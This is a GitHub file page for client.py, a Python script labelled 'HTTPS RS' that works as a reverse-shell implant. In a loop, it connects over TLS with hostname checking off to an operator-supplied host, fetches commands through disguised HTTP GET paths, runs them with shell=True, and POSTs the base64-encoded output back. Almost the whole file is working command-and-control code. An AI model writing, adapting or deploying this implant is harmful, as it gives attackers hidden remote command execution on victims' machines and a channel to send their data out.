-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
84 lines (65 loc) · 2.68 KB
/
client.py
File metadata and controls
84 lines (65 loc) · 2.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import subprocess
import socket
import ssl
import argparse
import time
import json
import base64
argument_parser = argparse.ArgumentParser(description='HTTPS RS')
argument_parser.add_argument("-p", "--port", help='Server port', type=int, required=True)
argument_parser.add_argument("-t", "--target", help='Server hostname', type=str, required=True)
args = vars(argument_parser.parse_args())
HOST = args["target"]
PORT = args["port"]
interval = 3 # seconds
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.check_hostname = False
def command_get(sock):
heartbeat_get = b""
heartbeat_get += b"GET /YXNmYXNkZnNk HTTP/1.1\r\n"
heartbeat_get += "Host: {}\r\n".format(HOST).encode("utf-8")
heartbeat_get += b"Accept: */*\r\n"
heartbeat_get += b"\r\n"
sock.send(heartbeat_get)
def output_post(sock, payload):
cmd_post = b""
cmd_post += b"POST /dmJ2YnZiZGZh HTTP/1.1\r\n"
cmd_post += "Host: {}\r\n".format(HOST).encode("utf-8")
cmd_post += b"Accept: */*\r\n"
cmd_post += "Content-Length: {}\r\n".format(len(payload)).encode("utf-8")
cmd_post += b"Content-Type: application/json\r\n"
cmd_post += b"\r\n"
cmd_post += payload
sock.send(cmd_post)
while True:
print("Heartbeat", time.strftime("%H:%M:%S",time.localtime()))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
wrappedSocket = context.wrap_socket(sock)
wrappedSocket.connect((HOST, PORT))
command_get(wrappedSocket)
get_resp = wrappedSocket.recv()
wrappedSocket.close()
head, body = get_resp.split(b"\r\n\r\n", 1)
if body:
print(body)
json_obj = json.loads(body)
command = json_obj.get("com")
if command:
cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read()
error_bytes = cmd.stderr.read()
#output_str = output_bytes.decode('utf-8')
#error_str = error_bytes.decode('utf-8')
output_b64 = base64.b64encode(output_bytes)
error_b64 = base64.b64encode(error_bytes)
output_str = output_b64.decode('utf-8')
error_str = error_b64.decode('utf-8')
body = { "com" : command, "output" : output_str, "error" : error_str }
payload = json.dumps(body).encode("utf-8")
print(payload)
sock_response = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
wrappedSocket_response = context.wrap_socket(sock_response)
wrappedSocket_response.connect((HOST, PORT))
output_post(wrappedSocket_response, payload)
wrappedSocket_response.close()
time.sleep(interval)